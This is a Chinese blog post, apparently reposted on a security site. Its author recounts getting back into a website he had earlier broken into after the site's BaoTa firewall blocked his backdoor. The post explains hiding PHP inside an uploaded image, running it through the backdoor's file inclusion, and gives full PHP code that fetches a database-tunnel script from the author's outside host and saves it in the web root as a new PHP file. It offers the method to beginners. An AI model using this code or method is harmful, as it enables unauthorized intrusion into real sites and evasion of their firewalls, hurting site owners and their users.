关注我们

小技巧之突破宝塔防火墙限制上传

可爱的逍遥可爱的逍遥 安全文摘 2019-04-15 248776 0

之前搞下某站,当时他没有开防火墙,导致我直接getshell。

今天突然还想上去看看,发现他开了宝塔防火墙,导致我留的后门失效,菜刀无法连接了。尝试之前的漏洞上传PHP失败,被拦截。

小技巧之突破宝塔防火墙限制上传

如上图,如果我直接执行一些危险的PHP函数,如phpinfo();都是直接被拦截掉了。。。而执行有的函数,还是可以执行的,那么相当于我还有一点点权限。

遇到这种情况,被防火墙拦截,我第一时间想到的就是文件包含,

将phpinfo(); 复制到一张图片中。然后前台上传图片,然后在利用我的后门包含尝试。

小技巧之突破宝塔防火墙限制上传

成功包含,这里我们直接传个一句话图片马包含就行,但是目测结果同样会被拦截POST请求。

我不需要进菜刀,我只是需要进下数据库,因此我的目的是将 ntunnel_mysql.php 弄上去,但是因为我后门本身就需要提交POST,如果在包含 ntunnel_mysql.php 这个文件也需要请求POST,他们彼此冲突,所以不能直接包含,这里我换了一种方式,直接远程下载。

  1. <?php
    function getFile($url, $save_dir = '', $filename = '', $type = 0) {
       if (trim($url) == '') {
           return false;
       }
       if (trim($save_dir) == '') {
           $save_dir = './';
       }
       if (0 !== strrpos($save_dir, '/')) {
           $save_dir.= '/';
       }
       //创建保存目录
       if (!file_exists($save_dir) && !mkdir($save_dir, 0777, true)) {
           return false;
       }
       //获取远程文件所采用的方法
       if ($type) {
           $ch = curl_init();
           $timeout = 5;
           curl_setopt($ch, CURLOPT_URL, $url);
           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
           curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
           $content = curl_exec($ch);
           curl_close($ch);
       } else {
           ob_start();
           readfile($url);
           $content = ob_get_contents();
           ob_end_clean();
       }
       $size = strlen($content);
       //文件大小
       $fp2 = @fopen($save_dir . $filename, 'a');
       fwrite($fp2, $content);
       fclose($fp2);
       unset($content, $url);
       return array(
           'file_name' => $filename,
           'save_path' => $save_dir . $filename
       );
    }
    $url = "https://www.xiaoxiaowu.me/ntunnel_mysql.txt";
    $save_dir = "/www/xx/xx/xx/xx/xx/06/";
    $filename = "test.php";
    $res = getFile($url, $save_dir, $filename, 1);
    var_dump($res);
    ?>

利用上方代码,远程下载文件,并且保存,这样就可以成为一个独立的PHP文件,不会再POST冲突。
大概流程,将上方代码和图片合并,然后上传图片,然后在用后门包含这个文件,他会直接下载保存。

小技巧之突破宝塔防火墙限制上传

这个小技巧很多人都懂,送给新手们,大佬漂过。

原文由:Mr.Wu

版权声明

本文仅代表作者观点,不代表黑白网立场。
如文章侵犯了您的权利,请通过邮箱联系我们删除。
详情查看:版权纠纷
E-Mail:server@heibai.org

喜欢0发布评论

评论列表

发表评论

  • 昵称(必填)
  • 邮箱
  • 网址